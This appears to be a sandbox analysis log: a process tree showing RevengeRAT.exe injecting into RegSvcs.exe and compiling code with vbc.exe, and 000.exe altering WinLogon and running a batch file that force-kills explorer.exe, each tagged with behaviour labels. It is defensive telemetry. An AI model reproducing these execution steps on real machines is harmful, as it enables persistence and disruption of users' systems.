                                                                                                                                                                    PID:3488
                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5676 /prefetch:1
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:2360
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:1
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:412
                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4800 /prefetch:1
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:4868
                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5692 /prefetch:1
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:6080
                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6036 /prefetch:1
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:3076
                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:744
                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:5900
                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6160 /prefetch:8
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Subvert Trust Controls: Mark-of-the-Web Bypass
                                                                                                                                                                                  • NTFS ADS
                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                  PID:408
                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6320 /prefetch:8
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:4172
                                                                                                                                                                                  • C:\Users\Admin\Downloads\RevengeRAT.exe
                                                                                                                                                                                    "C:\Users\Admin\Downloads\RevengeRAT.exe"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                    PID:5616
                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Drops startup file
                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                      • NTFS ADS
                                                                                                                                                                                      PID:4244
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4840
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\dv4fczj3.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4740
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES57D7.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcAD834B5BCF43B992DD619634A4AF92.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:4472
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\ls40qkkj.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4904
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5883.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc97738289761B4FE3A24989B928BC49EE.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:1228
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\f10kyriz.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:6028
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES58F0.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc3B237446FAD0449BB9834D969DE6E9EB.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:6112
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\bt1abojy.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:3904
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES599C.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcF887296E5C97455C806074DA8C8821EF.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:5188
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\zjlmeqv_.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:3040
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5A38.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc4C43FAC3AB7B40419BF8ECD3298BDD61.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:460
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\zeyixzep.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:5756
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5AB5.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc5B158E14AEBC43109228ADB4E613FE53.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:3132
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\brscjnj2.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:6048
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5B32.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc509A341D893747B8BFE3A215309BC4D.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:1612
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\d-togbb2.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:1528
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5BAF.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc6A2B2221E2314526998CCC9C659FA44.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:480
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\hzxdwiyi.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4988
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5C0D.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc4930AA69B0244A7CA533C5B7F321F329.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:2380
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\1vtc8ill.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:900
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5C7A.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcD5EC14BB67FA48FC99991CAFE0EDF4C1.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:2328
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\rfrlo1oy.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:1252
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5D07.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcE4FC911D255E496CBC2D8854F7B2858F.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:4484
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\oaxgvxh6.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:388
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5D65.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcB6F9BD8E59C24212A98C762E5BF76FEB.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:648
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\dmukkpnz.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4540
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5DE2.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc4315BFC7BAAE4C689049DFC3162CBA2.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:2744
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\hx7wt5q-.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:3716
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5E5F.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcF43DE6D0252F465D8FBCA3EB737E054.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:5604
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\4dcufobs.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:5036
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5ECC.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc39D10C5492046CE8110F12C0A18.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:3596
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\qghtlsxz.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:2692
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5F2A.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc9C0DB30C2C4DD6B2C19291FF92F72B.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:3924
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\l9vrqr-_.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4320
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6014.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc8303EBD2AA59430B89EDD6EAC82CF5C.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:1004
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\9q64lx4z.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:5548
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6091.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcA185F3F53FFC46099FC7B03F1B8CD387.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:2272
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\16hqtax8.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:3404
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES60FF.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc1C55A9679D0D4C218E818BD9863CD37.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:4652
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\xylhgy-1.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:5428
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES616C.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc539748C8C40A4DEBB85D49C26E1023.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:5480
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\jgeskung.cmdline"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:5244
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6208.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc11025AEEAD314F0FA6D72744EC22EA.TMP"
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:5456
                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=6328 /prefetch:2
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                    PID:1924
                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4948 /prefetch:1
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:3520
                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6536 /prefetch:8
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:3700
                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6464 /prefetch:8
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Subvert Trust Controls: Mark-of-the-Web Bypass
                                                                                                                                                                                        • NTFS ADS
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        PID:2008
                                                                                                                                                                                      • C:\Users\Admin\Downloads\000.exe
                                                                                                                                                                                        "C:\Users\Admin\Downloads\000.exe"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                                        • Modifies WinLogon
                                                                                                                                                                                        • Sets desktop wallpaper using registry
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                        PID:2000
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:3952
                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                            taskkill /f /im explorer.exe
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                            PID:4076
